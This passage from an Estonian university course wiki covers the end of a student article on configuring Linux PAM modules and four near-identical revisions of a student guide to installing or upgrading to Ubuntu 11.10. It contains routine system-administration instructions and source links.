•pam_limits – võimalik limiteerida kasutajatele ligipääsu resurssidele.

==Spetsiaalsed moodulid, mis võimaldavad:==

•pam_time.so - reguleerida programmi kasutamist ajaliselt

•pam_cracklib.so - tagada, et paroolivahetamisel ei valita liiga lihtsat parooli

•pam_console.so - määrata millisest terminalist saab programmi käivitada

•pam_deny.so - programmi ei saa käivitada

•pam_permit.so - programmi lubatakse käivitada alati

[[File:PAMJoonis.jpg]]

=PAMi konfigureerimine=

PAMi konfigureerimine toimub vaikimisi kataloogis /etc/pam.d sisalduvate failide redigeerimisel.
Autentimist vajav programm pöördub omanimelise teenuse konfiguratsioonifaili poole. Näiteks programmile passwd vastav PAMi konfiguratsioonifaili /etc/pam.d/passwd sisu võiks olla selline:

auth required /lib/security/pam_pwdb.so shadow nullok
account required /lib/security/pam_pwdb.so
password required /lib/security/pam_cracklib.so retry=3
password required /lib/security/pam_pwdb.so use_authtok nullok md5 shadow

PAMi teenuse poole pöördumine lõppeb, kui kasutaja autentime õnnestus või ei õnnestunud.

Konfiguratsioonifaili süntaks on selline:

moodulitüüp kontrollvõti mooduli-fail [argumendid]

• Moodulitüüp - Iga moodulitüübi kontroll lõpeb õnnestumisega või ebaõnnestumisega. Iga teenuse puhul ei pruugi olla kõik moodulitüübid kasutatud.

Moodulitüübid:
auth - autendib kasutaja ja annab talle nt tema grupist tulenevad õigused.
account - otsustab, kas kasutajat teenindada.
session - asjad, mis on vaja teha peale sisselogimist.
password - korraldab parooli muutmist

• Kontrollvõti - sama moodulitüüp võib olla kirjeldatud mitmel järjestikusel moodustades pinu. PAMi moodulitüübi õnnestumise määrab moodulitüübi pinu kogutulemus, mis on määratud kontrollvõtmetega:

Kontrollvõtmed:
required - moodulitüübi õnnestumiseks peavad kõik read õnnestuma. Kui pinu rida ei õnnestu, liigutakse pinus siiski edasi, pinu lõpus teatatakse kasutajale õnnestumisest või ebaõnnestumisest.
requisite - moodulitüübi mitteõnnestumiseks peab selle võtmega rida õnnestuma. Kui rida ei õnnestu antakse kontroll otsekohe koos veateatega teenust väljakutsuvale programmile.
sufficient - selle võtmega rea õnnestumine toob kaasa moodulitüübi õnnestumise juhul, kui varasemad required on õnnestunud; järgnevad required ei loe.
optional - suva, kasutatakse näiteks logiks.

• Moodulifail - näitab kus asub PAMi moodulile vastav fail.

• Argumendid - moodulit kontrollivad argumendid.

==Terminaliaknas:==

[[File:graafik.jpg]]

==Vaikimisi PAMi teenus other==

Kui te hooletult või lihtsalt teadmatusest PAMi konfigureerimisel vea teete, siis on võimalik, et te ei saa oma süsteemi ise ka enam sisse logida. Kui tõesti nii peaks juhtuma, siis bootige single user mode'i ja looge omale ainuke PAMi konfiguratsiooni fail /etc/pam.d/other

auth required pam_unix_auth.so
account required pam_unix_acct.so
password required pam_unix_passwd.so
session required pam_unix_session.so

other on PAMi teenus, mida kasutatakse, kui kliendi poolt nõutavale pole vastavat konfiguratsioonifaili. Toodud fail vastab traditsioonilisele UNIXi autentimisskeemile.

===Veel PAM-i installeerimise ja konfiguratsiooni kohta:===

http://www.linuxfromscratch.org/blfs/view/svn/postlfs/linux-pam.html

=Kasutatud kirjandus:=

http://www.linuxjournal.com/magazine/pammdashsecuring-linux-boxes-everywhere?page=0,0

http://www.kesoftware.com/emu-32-installupgrade-notes/unix-setup-pam.html

http://compute.cnr.berkeley.edu/cgi-bin/man-cgi?pam.conf+4

http://www.informit.com/articles/article.aspx?p=20968

http://www.ibm.com/developerworks/linux/library/l-pam/

http://kuutorvaja.eenet.ee/wiki/PAM

Iti Liivik A22 2011 sügis

--[[User:Iliivik|Iliivik]] 19:32, 19 November 2011 (EET)

==Lingid==
http://www.linuxjournal.com/article/10278

Ubuntu 11.10

2011-11-25T17:20:11Z

Gratsep:

Teema: Gertti-Vena Rätsep A-21 (2011 sügis)
[[Category: Operatsioonisüsteemide administreerimine ja sidumine]]

==Ubuntu 11.10==

Mida uut?

Aadressil http://www.youtube.com/watch?feature=player_embedded&v=w77rLrMtqyM on video mis tutvustab uusi võimalusi ja lihtsalt Ubuntu käsitlemist.

Ubuntu 11.10 sisaldab mõningaid nutikaid võimalusi, et Ubuntu kogemust veelgi nauditavamaks teha.

==Ubuntust üldiselt==

Ubuntu Linux on Linuxi distributsioon, mis kasutab Debiani paketihaldust ja mis on kasutamise lihtsustamiseks teinud kindla programmide valiku: üks aknahaldur – Unity, üks veebilehitseja – Firefox, üks meiliprogramm – Thunderbird jne. Seetõttu mahub Ubuntu Linux ära ühe CD peale. Samas on võimalik kasutada enamikke Debiani jaoks väljalastud pakke oma lemmikprogrammi installimiseks. Võimalik on kasutada nii tasuta kommuuni toetust kui ka erinevaid tasulisi tugikanaleid.

Ubuntu on suulu ja koosa keeltest pärinev sõna, mida tõlgitakse kui "inimlikkus teiste suhtes", usk kõigi inimeste seotusse/ühtsusse. Ning Ubuntu Linux püüab samu põhimõtteid järgida ka tarkvara loomisel. Ubuntu arendajate meelest peab tarkvara olema tasuta, ta peab olema kasutajate oma keeles ja kasutajatel peab olema võimalus muuta tarkvara vastavalt oma äranägemisele.

Ubuntut on hinnatud kui kõige populaarsemat Linuxi distributsiooni, mida pruukis juba 2007. aastal umbes 30% kõigist Linuxi kasutajatest

==Ubuntu 11.04 vs 11.10==

[[File:04vs10.jpg]]
x.y - Ebastabiilne alfa, beeta või lõppversiooni väljalase.

x.y.z - Viitab tarkvarale, mis ei ole vaikimisi installitud.

Iga Ubuntu väljalaske (näiteks Ubuntu 11.10) 11 tähendab 2011 aastat ja 10 tähendab kümnendat kuud. Ehk siis Ubuntu 11.10 on ametlikult välja lastud 2011 oktoober.

'' x.y* – Non-stable alpha, beta or release candidate version. ''

'' x.y.z – Indicates an application not installed by default.''

''Each Ubuntu release follows the release of a new GNOME desktop environment version by a month.''

==Kuidas paigaldada Ubuntu 11.10==

Kõige uuema distributsiooni alla laadimiseks vajuta suurt nuppu mille peal on kiri "''Start download''". Ubuntu 11.10 installimiseks on vaja kas CD'd või USB pulka.

Ubuntu pikaajalise toega (''long-term support'') distributsioonid on 3 aastase kasutajatoega. See sobib hästi neile kellel on vaja stabiilsemat platformi.

[[File:gvrub1.jpg]]

Kui alla laadimine on lõppenud siis peab looma buuditava (''bootable'') CD või USB pulga.
Miks on CD vajalik?
Buuditava CD loomine annam võimaluse proovida Ubuntut ilma seda installimata. Nii on võimalik Ubuntut installida või lihtsalt CD'lt buutida ja kasutada siis kui vaja.

[[File:gvub2.jpg]]

Ubuntut on võimalik proovida ilma installimata. Kui buuditav CD või USB pulk on valmis, siis saab buutida otse CD'lt või USB pulgalt ilma, et peaks oma arvuti sätteid muutma.

[[File:gvrub3.jpg]]

Kui buuditav CD või USB pulk on valmis tuleb see lihtsalt arvutiga ühendada, arvuti taaskäivitada ning kuvatavaid instruktsioone jälgida.

[[File:gvrub4.jpg]]

*http://www.ubuntu.com/download/ubuntu/download aadressil vajutades nuppu ''Show me how" kuvatakse detailne juhend kuidas buuditavat CD'd või UDB pulka luua. Kõigi nelja punkti kohta on lisajuhend - kuidas patritsioone teha jne.

==Kuidas 11.04 üle minna 11.10 peale ('''upgrade''')==

Ava ''Update Manager (System > Administration > Update Manager): ''

''Start the Update Manager (System > Administration > Update Manager):''

[[File:gvr1.jpg]]

''Update Manager'' peaks näitama, et uus distributsioon (11.10) on väljas. Kliki ''Upgrade'' nupule, et alustada distributsioni uuendust.

''The Update Manager should show that a new distribution release (11.10) is available. Click on the Upgrade button to start the distribution upgrade:''

[[File:gvr2.jpg]]

Kuvatakse uus aken Ubuntu 11.10 informatiooniga. Kliki uuesti ''Upgrade'' nupule.

''A window with the release notes for 11.10 comes up. Click on Upgrade again:''

[[File:gvr3.jpg]]

Distributsiooni uuendamise vahendid laetakse alla. Peale seda sisesta oma parool:

''The upgrade tool is now being downloaded. Afterwards, type in your password:''

[[File:gvr4.jpg]]

Distributsiooni uuendamine valmistatakse ette:

''The upgrade is being prepared:''

[[File:gvr5.jpg]]

Kliki ''Start Upgrade '', et alustada uuendamise protsessiga.

''Click on Start Upgrade to finally begin with the upgrade process:''

[[File:gvr6.jpg]]

Uuendusi laetakse alla...

''The upgrade packages are now being downloaded...''

[[File:gvr7.jpg]]

... ja installitakse. See võib aega võtta - varuda natuke kannatust.

''... and installed. This can take some time, so please be patient.''

[[File:gvr8.jpg]]

Uuendamise protsessi lõpus peaks vanad paketid ära kustutama.

''At the end of the upgrade process, you should remove obsolete packages:''

[[File:gvr9.jpg]]

[[File:gvr10.jpg]]

Uuenduste läbiviimiseks on vajalik arvuti taaskäivitamine. Seega vajuta ''Restart Now:''

''The system needs to be rebooted to complete the upgrade, therefore click on Restart Now:''

[[File:gvr11.jpg]]

Sisse logides kuvab Ubuntu 11.10 vaikimisi uue Unity teema (''desptopi'')

''When you log in, Ubuntu 11.10 will by default start the new Unity desktop:''

[[File:gvr12.jpg]]

Tere tulemast uude Ubuntu 11.10!

''Welcome to your new your new Ubuntu 11.10 desktop:''

[[File:gvr13.jpg]]

==Kui siiski ei taha oma arvuti kõvakettale uut partitsiooni teha...==

Kõige lihtsam viis on luua virtuaalmasin.
Aadressilt http://www.ubuntu.com/download/ubuntu/download lae alla oma arvutile vastav ISO fail.

Aadressilt https://www.virtualbox.org/wiki/Downloads lae alla VirtualBox.

Aadressilt https://www.virtualbox.org/manual/ch01.html#idp7595344 jälgi täpseid juhiseid kuidas luua uut virtuaalmasinat.

Kui virtuaalmasin loodud siis edaspidine on juba lihtne. Ubuntu konfigureerimine on mugav ja kerge. Siiski juhend selleks: http://www.ubuntu.com/download/ubuntu/download --> ''Install it!''

== Kasutatud materjalid ==

Ubuntust üldiselt:

http://et.wikipedia.org/wiki/Ubuntu

Kuidas 11.04 üle minna 11.10 peale ('''upgrade'''):

http://www.howtoforge.com/how-to-upgrade-ubuntu-11.04-natty-narwhal-to-11.10-oneiric-ocelot-desktop-and-

Kuidas paigaldada Ubuntu 11.10:

http://www.ubuntu.com/download/ubuntu/download

Virtualboxi juhendid:

https://www.virtualbox.org/manual/ch01.html#idp7595344

*Juhendid tõlkis eesti keelde autor.
* Kui on aega ja kannatust, siis on võimalik Ubuntu plaat tellida aadressilt: http://www.ubuntu.com/download/ubuntu/cds , CD toimetatakse kätte posti teel.

Ubuntu 11.10

2011-11-25T16:59:19Z

Gratsep:

Teema: Gertti-Vena Rätsep A-21 (2011 sügis)

==Ubuntu 11.10==

Mida uut?

Aadressil http://www.youtube.com/watch?feature=player_embedded&v=w77rLrMtqyM on video mis tutvustab uusi võimalusi ja lihtsalt Ubuntu käsitlemist.

Ubuntu 11.10 sisaldab mõningaid nutikaid võimalusi, et Ubuntu kogemust veelgi nauditavamaks teha.

==Ubuntust üldiselt==

Ubuntu Linux on Linuxi distributsioon, mis kasutab Debiani paketihaldust ja mis on kasutamise lihtsustamiseks teinud kindla programmide valiku: üks aknahaldur – Unity, üks veebilehitseja – Firefox, üks meiliprogramm – Thunderbird jne. Seetõttu mahub Ubuntu Linux ära ühe CD peale. Samas on võimalik kasutada enamikke Debiani jaoks väljalastud pakke oma lemmikprogrammi installimiseks. Võimalik on kasutada nii tasuta kommuuni toetust kui ka erinevaid tasulisi tugikanaleid.

Ubuntu on suulu ja koosa keeltest pärinev sõna, mida tõlgitakse kui "inimlikkus teiste suhtes", usk kõigi inimeste seotusse/ühtsusse. Ning Ubuntu Linux püüab samu põhimõtteid järgida ka tarkvara loomisel. Ubuntu arendajate meelest peab tarkvara olema tasuta, ta peab olema kasutajate oma keeles ja kasutajatel peab olema võimalus muuta tarkvara vastavalt oma äranägemisele.

Ubuntut on hinnatud kui kõige populaarsemat Linuxi distributsiooni, mida pruukis juba 2007. aastal umbes 30% kõigist Linuxi kasutajatest

==Ubuntu 11.04 vs 11.10==

[[File:04vs10.jpg]]
x.y - Ebastabiilne alfa, beeta või lõppversiooni väljalase.

x.y.z - Viitab tarkvarale, mis ei ole vaikimisi installitud.

Iga Ubuntu väljalaske (näiteks Ubuntu 11.10) 11 tähendab 2011 aastat ja 10 tähendab kümnendat kuud. Ehk siis Ubuntu 11.10 on ametlikult välja lastud 2011 oktoober.

'' x.y* – Non-stable alpha, beta or release candidate version. ''

'' x.y.z – Indicates an application not installed by default.''

''Each Ubuntu release follows the release of a new GNOME desktop environment version by a month.''

==Kuidas paigaldada Ubuntu 11.10==

Kõige uuema distributsiooni alla laadimiseks vajuta suurt nuppu mille peal on kiri "''Start download''". Ubuntu 11.10 installimiseks on vaja kas CD'd või USB pulka.

Ubuntu pikaajalise toega (''long-term support'') distributsioonid on 3 aastase kasutajatoega. See sobib hästi neile kellel on vaja stabiilsemat platformi.

[[File:gvrub1.jpg]]

Kui alla laadimine on lõppenud siis peab looma buuditava (''bootable'') CD või USB pulga.
Miks on CD vajalik?
Buuditava CD loomine annam võimaluse proovida Ubuntut ilma seda installimata. Nii on võimalik Ubuntut installida või lihtsalt CD'lt buutida ja kasutada siis kui vaja.

[[File:gvub2.jpg]]

Ubuntut on võimalik proovida ilma installimata. Kui buuditav CD või USB pulk on valmis, siis saab buutida otse CD'lt või USB pulgalt ilma, et peaks oma arvuti sätteid muutma.

[[File:gvrub3.jpg]]

Kui buuditav CD või USB pulk on valmis tuleb see lihtsalt arvutiga ühendada, arvuti taaskäivitada ning kuvatavaid instruktsioone jälgida.

[[File:gvrub4.jpg]]

*http://www.ubuntu.com/download/ubuntu/download aadressil vajutades nuppu ''Show me how" kuvatakse detailne juhend kuidas buuditavat CD'd või UDB pulka luua. Kõigi nelja punkti kohta on lisajuhend - kuidas patritsioone teha jne.

==Kuidas 11.04 üle minna 11.10 peale ('''upgrade''')==

Ava ''Update Manager (System > Administration > Update Manager): ''

''Start the Update Manager (System > Administration > Update Manager):''

[[File:gvr1.jpg]]

''Update Manager'' peaks näitama, et uus distributsioon (11.10) on väljas. Kliki ''Upgrade'' nupule, et alustada distributsioni uuendust.

''The Update Manager should show that a new distribution release (11.10) is available. Click on the Upgrade button to start the distribution upgrade:''

[[File:gvr2.jpg]]

Kuvatakse uus aken Ubuntu 11.10 informatiooniga. Kliki uuesti ''Upgrade'' nupule.

''A window with the release notes for 11.10 comes up. Click on Upgrade again:''

[[File:gvr3.jpg]]

Distributsiooni uuendamise vahendid laetakse alla. Peale seda sisesta oma parool:

''The upgrade tool is now being downloaded. Afterwards, type in your password:''

[[File:gvr4.jpg]]

Distributsiooni uuendamine valmistatakse ette:

''The upgrade is being prepared:''

[[File:gvr5.jpg]]

Kliki ''Start Upgrade '', et alustada uuendamise protsessiga.

''Click on Start Upgrade to finally begin with the upgrade process:''

[[File:gvr6.jpg]]

Uuendusi laetakse alla...

''The upgrade packages are now being downloaded...''

[[File:gvr7.jpg]]

... ja installitakse. See võib aega võtta - varuda natuke kannatust.

''... and installed. This can take some time, so please be patient.''

[[File:gvr8.jpg]]

Uuendamise protsessi lõpus peaks vanad paketid ära kustutama.

''At the end of the upgrade process, you should remove obsolete packages:''

[[File:gvr9.jpg]]

[[File:gvr10.jpg]]

Uuenduste läbiviimiseks on vajalik arvuti taaskäivitamine. Seega vajuta ''Restart Now:''

''The system needs to be rebooted to complete the upgrade, therefore click on Restart Now:''

[[File:gvr11.jpg]]

Sisse logides kuvab Ubuntu 11.10 vaikimisi uue Unity teema (''desptopi'')

''When you log in, Ubuntu 11.10 will by default start the new Unity desktop:''

[[File:gvr12.jpg]]

Tere tulemast uude Ubuntu 11.10!

''Welcome to your new your new Ubuntu 11.10 desktop:''

[[File:gvr13.jpg]]

==Kui siiski ei taha oma arvuti kõvakettale uut partitsiooni teha...==

Kõige lihtsam viis on luua virtuaalmasin.
Aadressilt http://www.ubuntu.com/download/ubuntu/download lae alla oma arvutile vastav ISO fail.

Aadressilt https://www.virtualbox.org/wiki/Downloads lae alla VirtualBox.

Aadressilt https://www.virtualbox.org/manual/ch01.html#idp7595344 jälgi täpseid juhiseid kuidas luua uut virtuaalmasinat.

Kui virtuaalmasin loodud siis edaspidine on juba lihtne. Ubuntu konfigureerimine on mugav ja kerge. Siiski juhend selleks: http://www.ubuntu.com/download/ubuntu/download --> ''Install it!''

== Kasutatud materjalid ==

Ubuntust üldiselt:

http://et.wikipedia.org/wiki/Ubuntu

Kuidas 11.04 üle minna 11.10 peale ('''upgrade'''):

http://www.howtoforge.com/how-to-upgrade-ubuntu-11.04-natty-narwhal-to-11.10-oneiric-ocelot-desktop-and-

Kuidas paigaldada Ubuntu 11.10:

http://www.ubuntu.com/download/ubuntu/download

Virtualboxi juhendid:

https://www.virtualbox.org/manual/ch01.html#idp7595344

*Juhendid tõlkis eesti keelde autor.
* Kui on aega ja kannatust, siis on võimalik Ubuntu plaat tellida aadressilt: http://www.ubuntu.com/download/ubuntu/cds , CD toimetatakse kätte posti teel.

Ubuntu 11.10

2011-11-25T16:41:35Z

Gratsep:

Teema: Gertti-Vena Rätsep A-21 (2011 sügis)

'''=Ubuntu 11.10='''

Mida uut?

Aadressil http://www.youtube.com/watch?feature=player_embedded&v=w77rLrMtqyM on video mis tutvustab uusi võimalusi ja lihtsalt Ubuntu käsitlemist.

Ubuntu 11.10 sisaldab mõningaid nutikaid võimalusi, et Ubuntu kogemust veelgi nauditavamaks teha.

==Ubuntust üldiselt==

Ubuntu Linux on Linuxi distributsioon, mis kasutab Debiani paketihaldust ja mis on kasutamise lihtsustamiseks teinud kindla programmide valiku: üks aknahaldur – Unity, üks veebilehitseja – Firefox, üks meiliprogramm – Thunderbird jne. Seetõttu mahub Ubuntu Linux ära ühe CD peale. Samas on võimalik kasutada enamikke Debiani jaoks väljalastud pakke oma lemmikprogrammi installimiseks. Võimalik on kasutada nii tasuta kommuuni toetust kui ka erinevaid tasulisi tugikanaleid.

Ubuntu on suulu ja koosa keeltest pärinev sõna, mida tõlgitakse kui "inimlikkus teiste suhtes", usk kõigi inimeste seotusse/ühtsusse. Ning Ubuntu Linux püüab samu põhimõtteid järgida ka tarkvara loomisel. Ubuntu arendajate meelest peab tarkvara olema tasuta, ta peab olema kasutajate oma keeles ja kasutajatel peab olema võimalus muuta tarkvara vastavalt oma äranägemisele.

Ubuntut on hinnatud kui kõige populaarsemat Linuxi distributsiooni, mida pruukis juba 2007. aastal umbes 30% kõigist Linuxi kasutajatest

==Ubuntu 11.04 vs 11.10==

[[File:04vs10.jpg]]
x.y - Ebastabiilne alfa, beeta või lõppversiooni väljalase.

x.y.z - Viitab tarkvarale, mis ei ole vaikimisi installitud.

Iga Ubuntu väljalaske (näiteks Ubuntu 11.10) 11 tähendab 2011 aastat ja 10 tähendab kümnendat kuud. Ehk siis Ubuntu 11.10 on ametlikult välja lastud 2011 oktoober.

'' x.y* – Non-stable alpha, beta or release candidate version. ''

'' x.y.z – Indicates an application not installed by default.''

''Each Ubuntu release follows the release of a new GNOME desktop environment version by a month.''

==Kuidas paigaldada Ubuntu 11.10==

Kõige uuema distributsiooni alla laadimiseks vajuta suurt nuppu mille peal on kiri "''Start download''". Ubuntu 11.10 installimiseks on vaja kas CD'd või USB pulka.

Ubuntu pikaajalise toega (''long-term support'') distributsioonid on 3 aastase kasutajatoega. See sobib hästi neile kellel on vaja stabiilsemat platformi.

[[File:gvrub1.jpg]]

Kui alla laadimine on lõppenud siis peab looma buutivata (''bootable'') CD või USB pulga.
Miks on CD vajalik?
Buuditava CD loomine annam võimaluse proovida Ubuntut ilma seda installimata. Nii on võimalik Ubuntut installida või lihtsalt CD'lt buutida ja kasutada siis kui vaja.

[[File:gvub2.jpg]]

Ubuntut on võimalik proovida ilma installimata. Kui buuditav CD või USB pulk on valmis, siis saab buutida otse CD'lt või USB pulgalt ilma, et peaks oma arvuti sätteid muutma.

[[File:gvrub3.jpg]]

Kui buuditav CD või USB pulk on valmis tuleb see lihtsalt arvutiga ühendada, arvuti taaskäivitada ning kuvatavaid instruktsioone jälgida.

[[File:gvrub4.jpg]]

*http://www.ubuntu.com/download/ubuntu/download aadressil vajutades nuppu ''Show me how" kuvatakse detailne juhend kuidas buuditavat CD'd või UDB pulka luua. Kõigi nelja punkti kohta on lisajuhend - kuidas patritsioone teha jne.

==Kuidas 11.04 üle minna 11.10 peale ('''upgrade''')==

Ava ''Update Manager (System > Administration > Update Manager): ''

''Start the Update Manager (System > Administration > Update Manager):''

[[File:gvr1.jpg]]

''Update Manager'' peaks näitama, et uus distributsioon (11.10) on väljas. Kliki ''Upgrade'' nupule, et alustada distributsioni uuendust.

''The Update Manager should show that a new distribution release (11.10) is available. Click on the Upgrade button to start the distribution upgrade:''

[[File:gvr2.jpg]]

Kuvatakse uus aken Ubuntu 11.10 informatiooniga. Kliki uuesti ''Upgrade'' nupule.

''A window with the release notes for 11.10 comes up. Click on Upgrade again:''

[[File:gvr3.jpg]]

Distributsiooni uuendamise vahendid laetakse alla. Peale seda sisesta oma parool:

''The upgrade tool is now being downloaded. Afterwards, type in your password:''

[[File:gvr4.jpg]]

Distributsiooni uuendamine valmistatakse ette:

''The upgrade is being prepared:''

[[File:gvr5.jpg]]

Kliki ''Start Upgrade '', et alustada uuendamise protsessiga.

''Click on Start Upgrade to finally begin with the upgrade process:''

[[File:gvr6.jpg]]

Uuendusi laetakse alla...

''The upgrade packages are now being downloaded...''

[[File:gvr7.jpg]]

... ja installitakse. See võib aega võtta - varuda natuke kannatust.

''... and installed. This can take some time, so please be patient.''

[[File:gvr8.jpg]]

Uuendamise protsessi lõpus peaks vanad paketid ära kustutama.

''At the end of the upgrade process, you should remove obsolete packages:''

[[File:gvr9.jpg]]

[[File:gvr10.jpg]]

Uuenduste läbiviimiseks on vajalik arvuti taaskäivitamine. Seega vajuta ''Restart Now:''

''The system needs to be rebooted to complete the upgrade, therefore click on Restart Now:''

[[File:gvr11.jpg]]

Sisse logides kuvab Ubuntu 11.10 vaikimisi uue Unity teema (''desptopi'')

''When you log in, Ubuntu 11.10 will by default start the new Unity desktop:''

[[File:gvr12.jpg]]

Tere tulemast uude Ubuntu 11.10!

''Welcome to your new your new Ubuntu 11.10 desktop:''

[[File:gvr13.jpg]]

==Kui siiski ei taha oma arvuti kõvakettale uut partitsiooni teha...==

Kõige lihtsam viis on luua virtuaalmasin.
Aadressilt http://www.ubuntu.com/download/ubuntu/download lae alla oma arvutile vastav ISO fail.

Aadressilt https://www.virtualbox.org/wiki/Downloads lae alla VirtualBox.

Aadressilt https://www.virtualbox.org/manual/ch01.html#idp7595344 jälgi täpseid juhiseid kuidas luua uut virtuaalmasinat.

Kui virtuaalmasin loodud siis edaspidine on juba lihtne. Ubuntu konfigureerimine on mugav ja kerge. Siiski juhend selleks: http://www.ubuntu.com/download/ubuntu/download --> ''Install it!''

== Kasutatud materjalid ==

Ubuntust üldiselt:

http://et.wikipedia.org/wiki/Ubuntu

Kuidas 11.04 üle minna 11.10 peale ('''upgrade'''):

http://www.howtoforge.com/how-to-upgrade-ubuntu-11.04-natty-narwhal-to-11.10-oneiric-ocelot-desktop-and-

Kuidas paigaldada Ubuntu 11.10:

http://www.ubuntu.com/download/ubuntu/download

Virtualboxi juhendid:

https://www.virtualbox.org/manual/ch01.html#idp7595344

*Juhendid tõlkis eesti keelde autor.
* Kui on aega ja kannatust, siis on võimalik Ubuntu plaat tellida aadressilt: http://www.ubuntu.com/download/ubuntu/cds , CD toimetatakse kätte posti teel.

Ubuntu 11.10

2011-11-25T16:39:00Z

Gratsep:

Teema: Gertti-Vena Rätsep A-21 (2011 sügis)
'''=Ubuntu 11.10='''
Mida uut?

Aadressil http://www.youtube.com/watch?feature=player_embedded&v=w77rLrMtqyM on video mis tutvustab uusi võimalusi ja lihtsalt Ubuntu käsitlemist.

Ubuntu 11.10 sisaldab mõningaid nutikaid võimalusi, et Ubuntu kogemust veelgi nauditavamaks teha.

==Ubuntust üldiselt==

Ubuntu Linux on Linuxi distributsioon, mis kasutab Debiani paketihaldust ja mis on kasutamise lihtsustamiseks teinud kindla programmide valiku: üks aknahaldur – Unity, üks veebilehitseja – Firefox, üks meiliprogramm – Thunderbird jne. Seetõttu mahub Ubuntu Linux ära ühe CD peale. Samas on võimalik kasutada enamikke Debiani jaoks väljalastud pakke oma lemmikprogrammi installimiseks. Võimalik on kasutada nii tasuta kommuuni toetust kui ka erinevaid tasulisi tugikanaleid.

Ubuntu on suulu ja koosa keeltest pärinev sõna, mida tõlgitakse kui "inimlikkus teiste suhtes", usk kõigi inimeste seotusse/ühtsusse. Ning Ubuntu Linux püüab samu põhimõtteid järgida ka tarkvara loomisel. Ubuntu arendajate meelest peab tarkvara olema tasuta, ta peab olema kasutajate oma keeles ja kasutajatel peab olema võimalus muuta tarkvara vastavalt oma äranägemisele.

Ubuntut on hinnatud kui kõige populaarsemat Linuxi distributsiooni, mida pruukis juba 2007. aastal umbes 30% kõigist Linuxi kasutajatest

==Ubuntu 11.04 vs 11.10==

[[File:04vs10.jpg]]
x.y - Ebastabiilne alfa, beeta või lõppversiooni väljalase.

x.y.z - Viitab tarkvarale, mis ei ole vaikimisi installitud.

Iga Ubuntu väljalaske (näiteks Ubuntu 11.10) 11 tähendab 2011 aastat ja 10 tähendab kümnendat kuud. Ehk siis Ubuntu 11.10 on ametlikult välja lastud 2011 oktoober.

'' x.y* – Non-stable alpha, beta or release candidate version. ''

'' x.y.z – Indicates an application not installed by default.''

''Each Ubuntu release follows the release of a new GNOME desktop environment version by a month.''

==Kuidas paigaldada Ubuntu 11.10==

Kõige uuema distributsiooni alla laadimiseks vajuta suurt nuppu mille peal on kiri "''Start download''". Ubuntu 11.10 installimiseks on vaja kas CD'd või USB pulka.

Ubuntu pikaajalise toega (''long-term support'') distributsioonid on 3 aastase kasutajatoega. See sobib hästi neile kellel on vaja stabiilsemat platformi.

[[File:gvrub1.jpg]]

Kui alla laadimine on lõppenud siis peab looma buutivata (''bootable'') CD või USB pulga.
Miks on CD vajalik?
Buuditava CD loomine annam võimaluse proovida Ubuntut ilma seda installimata. Nii on võimalik Ubuntut installida või lihtsalt CD'lt buutida ja kasutada siis kui vaja.

[[File:gvub2.jpg]]

Ubuntut on võimalik proovida ilma installimata. Kui buuditav CD või USB pulk on valmis, siis saab buutida otse CD'lt või USB pulgalt ilma, et peaks oma arvuti sätteid muutma.

[[File:gvrub3.jpg]]

Kui buuditav CD või USB pulk on valmis tuleb see lihtsalt arvutiga ühendada, arvuti taaskäivitada ning kuvatavaid instruktsioone jälgida.

[[File:gvrub4.jpg]]

*http://www.ubuntu.com/download/ubuntu/download aadressil vajutades nuppu ''Show me how" kuvatakse detailne juhend kuidas buuditavat CD'd või UDB pulka luua. Kõigi nelja punkti kohta on lisajuhend - kuidas patritsioone teha jne.

==Kuidas 11.04 üle minna 11.10 peale ('''upgrade''')==

Ava ''Update Manager (System > Administration > Update Manager): ''

''Start the Update Manager (System > Administration > Update Manager):''

[[File:gvr1.jpg]]

''Update Manager'' peaks näitama, et uus distributsioon (11.10) on väljas. Kliki ''Upgrade'' nupule, et alustada distributsioni uuendust.

''The Update Manager should show that a new distribution release (11.10) is available. Click on the Upgrade button to start the distribution upgrade:''

[[File:gvr2.jpg]]

Kuvatakse uus aken Ubuntu 11.10 informatiooniga. Kliki uuesti ''Upgrade'' nupule.

''A window with the release notes for 11.10 comes up. Click on Upgrade again:''

[[File:gvr3.jpg]]

Distributsiooni uuendamise vahendid laetakse alla. Peale seda sisesta oma parool:

''The upgrade tool is now being downloaded. Afterwards, type in your password:''

[[File:gvr4.jpg]]

Distributsiooni uuendamine valmistatakse ette:

''The upgrade is being prepared:''

[[File:gvr5.jpg]]

Kliki ''Start Upgrade '', et alustada uuendamise protsessiga.

''Click on Start Upgrade to finally begin with the upgrade process:''

[[File:gvr6.jpg]]

Uuendusi laetakse alla...

''The upgrade packages are now being downloaded...''

[[File:gvr7.jpg]]

... ja installitakse. See võib aega võtta - varuda natuke kannatust.

''... and installed. This can take some time, so please be patient.''

[[File:gvr8.jpg]]

Uuendamise protsessi lõpus peaks vanad paketid ära kustutama.

''At the end of the upgrade process, you should remove obsolete packages:''

[[File:gvr9.jpg]]

[[File:gvr10.jpg]]

Uuenduste läbiviimiseks on vajalik arvuti taaskäivitamine. Seega vajuta ''Restart Now:''

''The system needs to be rebooted to complete the upgrade, therefore click on Restart Now:''

[[File:gvr11.jpg]]

Sisse logides kuvab Ubuntu 11.10 vaikimisi uue Unity teema (''desptopi'')

''When you log in, Ubuntu 11.10 will by default start the new Unity desktop:''

[[File:gvr12.jpg]]

Tere tulemast uude Ubuntu 11.10!

''Welcome to your new your new Ubuntu 11.10 desktop:''

[[File:gvr13.jpg]]

==Kui siiski ei taha oma arvuti kõvakettale uut partitsiooni teha...==

Kõige lihtsam viis on luua virtuaalmasin.
Aadressilt http://www.ubuntu.com/download/ubuntu/download lae alla oma arvutile vastav ISO fail.

Aadressilt https://www.virtualbox.org/wiki/Downloads lae alla VirtualBox.

Aadressilt https://www.virtualbox.org/manual/ch01.html#idp7595344 jälgi täpseid juhiseid kuidas luua uut virtuaalmasinat.

Kui virtuaalmasin loodud siis edaspidine on juba lihtne. Ubuntu konfigureerimine on mugav ja kerge. Siiski juhend selleks: http://www.ubuntu.com/download/ubuntu/download --> ''Install it!''

== Kasutatud materjalid ==

Ubuntust üldiselt:

http://et.wikipedia.org/wiki/Ubuntu

Kuidas 11.04 üle minna 11.10 peale ('''upgrade'''):

http://www.howtoforge.com/how-to-upgrade-ubuntu-11.04-natty-narwhal-to-11.10-oneiric-ocelot-desktop-and-

Kuidas paigaldada Ubuntu 11.10:

http://www.ubuntu.com/download/ubuntu/download

Virtualboxi juhendid:

https://www.virtualbox.org/manual/ch01.html#idp7595344

*Juhendid tõlkis eesti keelde autor.
